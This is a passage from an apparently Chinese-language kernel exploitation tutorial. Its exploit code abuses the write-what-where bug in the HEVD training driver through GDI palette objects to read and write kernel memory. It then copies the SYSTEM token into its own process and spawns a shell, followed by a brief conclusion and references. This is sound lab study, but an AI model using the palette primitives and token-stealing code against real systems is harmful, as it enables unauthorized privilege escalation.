    PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!moduleInfo)
    {
        printf("[+]Failed to get moduleInfo\n");
        return NULL;
    }

    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);

    LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
    LPVOID kernelImage = moduleInfo->Module[0].FullPathName;
    printf("[+]kernel base address is at: 0x%p\n", kernelBase);

    LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
    printf("[+]kernel name is: %s\n", lpkernelName);

    HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);

    if (hUserSpacekernel == NULL)
    {
        VirtualFree(moduleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");

    if (pUserKernelSymbol == NULL)
    {
        VirtualFree(moduleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);

    FreeLibrary(hUserSpacekernel);
    VirtualFree(moduleInfo, 0, MEM_RELEASE);
    printf("pLiveFunctionAddress   ============>%llX\n", pLiveFunctionAddress);
    LPVOID lpSystemEPROCESS = NULL;
    LPVOID lpSysProcID = NULL;
    LPVOID lpSystemToken = NULL;
    LIST_ENTRY lpNextEntryAddreess;
    readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)pLiveFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(DWORD64));
    //__debugbreak();
    readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2e0), (BYTE*)&lpSysProcID, sizeof(DWORD64));
    readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(DWORD64));
    readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2f0), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY));
    printf("[+]system process PID is: 0x%llX \n", lpSysProcID);
    printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
    printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
    printf("[+]system process token value is: 0x%p\n", lpSystemToken);

    DWORD64 currentProcessID = GetCurrentProcessId();
    printf("current Process id is  %llX", currentProcessID);
    //DWORD64 currentProcessID = GetCurrentProcessId();

    LPVOID lpNextEPROCESS = NULL;
    LPVOID lpCurrentPID = NULL;
    LPVOID lpCurrentToken = NULL;
    DWORD dwCurrentPID;
    do
    {
        lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8;
        readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e0), (BYTE*)&lpCurrentPID, sizeof(DWORD64));
        dwCurrentPID = LOWORD(lpCurrentPID);
        printf("dwCurrentPID    %llX\n", dwCurrentPID);
        readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e8), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY));
    } while (dwCurrentPID != currentProcessID);
    DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
    printf("[+]Start to write token");
    writeOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, currentTokenAddress, (BYTE*)&lpSystemToken, sizeof(DWORD64));
    printf("  ====> done! \n");
}



int main() {

    init();//Load HEVD Driver and init exploit attack function

    BOOL bFound = FindHMValidateHandle();
    if (!bFound) {
        printf("Failed to locate HmValidateHandle, exiting\n");
        return 0;
    }
    printf("[+]Found location of HMValidateHandle in user32.dll\n");

    Manager_Palette = CreatePaletteInHole();
    printf("create manager palette success!!!\n");
    if (!Manager_Palette)
    {
        printf("Make Manager Palette failure...\n");
        return 0;
    }
    //Int_3();
    printf("[+]Manager Palette HPALETTE: 0x%p, Kernel Address: 0x%llx\n", (PVOID)Manager_Palette->_hpalette, Manager_Palette->_kobj_palette);
    __debugbreak();

    Worker_Palette = CreatePaletteInHole();
    if (!Worker_Palette)
    {
        printf("Make Worker Palette failure...\n");
        return 0;
    }
    //Int_3();
    printf("Worker Palette HPALETTE: 0x%p, Kernel Address: 0x%llx\n", (PVOID)Worker_Palette->_hpalette, Worker_Palette->_kobj_palette);

    WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY,
        sizeof(WRITE_WHAT_WHERE));
    if (!WriteWhatWhere) {
        printf("Failed To Allocate Memory: 0x%X\n", GetLastError());
        exit(-1);
    }
    printf("Memory Allocated: 0x%p\n", WriteWhatWhere);

    DWORD64 pFirstColorOffset = 0x78;
    DWORD64 Manager_pFirstColor = Manager_Palette->_kobj_palette + pFirstColorOffset;
    DWORD64 Worker_pFirstColor = Worker_Palette->_kobj_palette + pFirstColorOffset;
    printf("Overwrite Manager Palette pFirstColor: 0x%p\n", Manager_pFirstColor);
    printf("value is Worker Palette pFirstColor: 0x%p\n", Worker_pFirstColor);
    WriteWhatWhere->What = (PULONG_PTR)&Worker_pFirstColor;
    WriteWhatWhere->Where = (PULONG_PTR)Manager_pFirstColor;
    printf("WriteWhatWhere->What   %llX", WriteWhatWhere->What);
    printf("WriteWhatWhere->Where  %llX", WriteWhatWhere->Where);
    DeviceIoControl(hDevice, 0x0022200B, (LPVOID)WriteWhatWhere, sizeof(WriteWhatWhere), NULL, 0, &BytesReturned, NULL);

    stealToken();
    CreateCmd();
    system("pause");
    return 0;
}

最后可以看到提权成功:

 

0x07:总结

首先一点就是我在学习过程中经常碰到一些陌生的名词,让人很困扰.所以我在这篇文章里尽量少提相关的名词,并把它们关联起来.还有一点就是上一篇文章还是不够严谨,出现了一些错误,然后就是感到抱歉,过了这么久才回复指出我错误的师傅,最后,感谢指出我错误的师傅.

 

0x08:参考

代码参考
https://50u1w4y.github.io/site/HEVD/bitmap/
https://blog.ycdxsb.cn/ec47a9ad.html
https://github.com/ThunderJie/Write-What-Where
https://github.com/k0keoyo/HEVD-Arbitrary-Overwrite-Exploit-Win10-rs3
https://www.whsgwl.net/blog/CVE-2018-8453_1.html#0x00
https://ti.qianxin.com/blog/articles/cve-2018-8453-win32k-elevation-of-privilege-vulnerability-targeting-the-middle-east-en/
理论参考
https://paper.seebug.org/?keyword=Windows+Kernel+Exploit+Part+
https://thunderjie.github.io/2019/08/19/www%E6%BC%8F%E6%B4%9E%E4%BB%8Ewin7-win10/#more
extension://bfdogplmndidlpjfhoijckpakkdjkkil/pdf/viewer.html?file=https%3A%2F%2Flabs.bluefrostsecurity.de%2Ffiles%2FAbusing_GDI_for_ring0_exploit_primitives_Evolution_Slides.pdf
https://www.fuzzysecurity.com/tutorials/expDev/21.html
https://www.fuzzysecurity.com/tutorials/expDev/22.html
https://labs.f-secure.com/archive/a-tale-of-bitmaps/
extension://bfdogplmndidlpjfhoijckpakkdjkkil/pdf/viewer.html?file=https%3A%2F%2Fcensus-labs.com%2Fmedia%2Fwindows_10_rs2_rs3_exploitation_primitives.pdf
https://www.coresecurity.com/core-labs/articles/abusing-gdi-for-ring0-exploit-primitives
https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/
https://www.offensivecon.org/speakers/2018/nick-sampanis.html
https://blogs.360.cn/post/save-and-reborn-gdi-data-only-attack-from-win32k-typeisolation-2.html

关闭